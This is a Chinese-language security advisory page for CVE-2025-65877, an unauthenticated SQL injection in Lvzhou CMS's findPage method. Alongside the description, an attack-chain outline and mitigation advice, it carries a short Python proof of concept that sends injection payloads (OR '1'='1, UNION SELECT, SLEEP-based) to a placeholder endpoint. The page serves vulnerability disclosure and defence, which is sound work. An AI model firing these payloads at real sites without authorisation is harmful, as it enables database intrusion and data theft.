IPBUF安全漏洞报告
English
CVE-2025-65877 CVSS 7.5 高危

CVE-2025-65877 Lvzhou CMS findPage SQL注入漏洞

披露日期: 2025-12-02

漏洞信息

漏洞编号
CVE-2025-65877
漏洞类型
SQL注入
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Lvzhou CMS

相关标签

SQL注入Lvzhou CMS高危远程代码执行CVE-2025-65877敏感信息泄露无需认证

漏洞概述

Lvzhou CMS在2025年9月22日之前的版本中存在严重的SQL注入漏洞。该漏洞位于com.wanli.lvzhoucms.service.ContentService#findPage方法中,攻击者可通过'title'参数注入恶意SQL代码。由于该参数被直接拼接到动态SQL查询语句中,未经过任何消毒处理或使用预编译语句,攻击者无需认证即可远程利用此漏洞。此漏洞可能导致数据库中的敏感信息泄露,包括用户凭据、个人数据、业务机密等。CVSS评分7.5,属于高危漏洞,对系统机密性造成严重影响。

技术细节

漏洞根源在于Lvzhou CMS的ContentService.findPage方法中存在不安全的SQL构建方式。攻击者构造包含SQL特殊字符和命令的'title'参数值,如使用单引号、UNION SELECT等SQL语法,可突破原本查询逻辑,执行任意SQL语句。由于该接口无需认证即可访问,攻击者可通过自动化工具批量探测和利用。成功利用后可读取数据库中的用户表、配置表等敏感数据,甚至可能通过LOAD_FILE等函数读取服务器文件内容。攻击过程简单,所需技术门槛低,危害范围广。

攻击链分析

STEP 1
步骤1
扫描发现目标站点使用Lvzhou CMS,识别出/content/findPage等接口
STEP 2
步骤2
构造SQL注入Payload,通过title参数注入恶意SQL代码
STEP 3
步骤3
利用UNION注入或布尔盲注技术提取数据库敏感信息
STEP 4
步骤4
获取用户账号、密码哈希或其他业务敏感数据

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2025-65877 Lvzhou CMS SQL Injection PoC # Target: Lvzhou CMS < commit c4ea0eb9cab5f6739b2c87e77d9ef304017ed615 # Vulnerability: SQL Injection in ContentService#findPage via 'title' parameter target_url = "http://target.com/api/content/findPage" # Basic SQL injection test - trigger error or time-based blind injection payloads = [ "test' OR '1'='1", "test' UNION SELECT NULL--", "test' AND SLEEP(5)--" ] for payload in payloads: params = {"title": payload} try: response = requests.get(target_url, params=params, timeout=10) print(f"Payload: {payload}") print(f"Status: {response.status_code}") print(f"Response: {response.text[:200]}") print("---") except requests.exceptions.RequestException as e: print(f"Error: {e}")

影响范围

Lvzhou CMS < c4ea0eb9cab5f6739b2c87e77d9ef304017ed615 (2025-09-22)

防御指南

临时缓解措施
临时措施:限制对相关API接口的访问,配置Web应用防火墙规则拦截SQL注入特征字符(如单引号、UNION、SELECT等关键字)。长期措施:升级至官方最新修复版本,并进行全面的安全代码审查。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表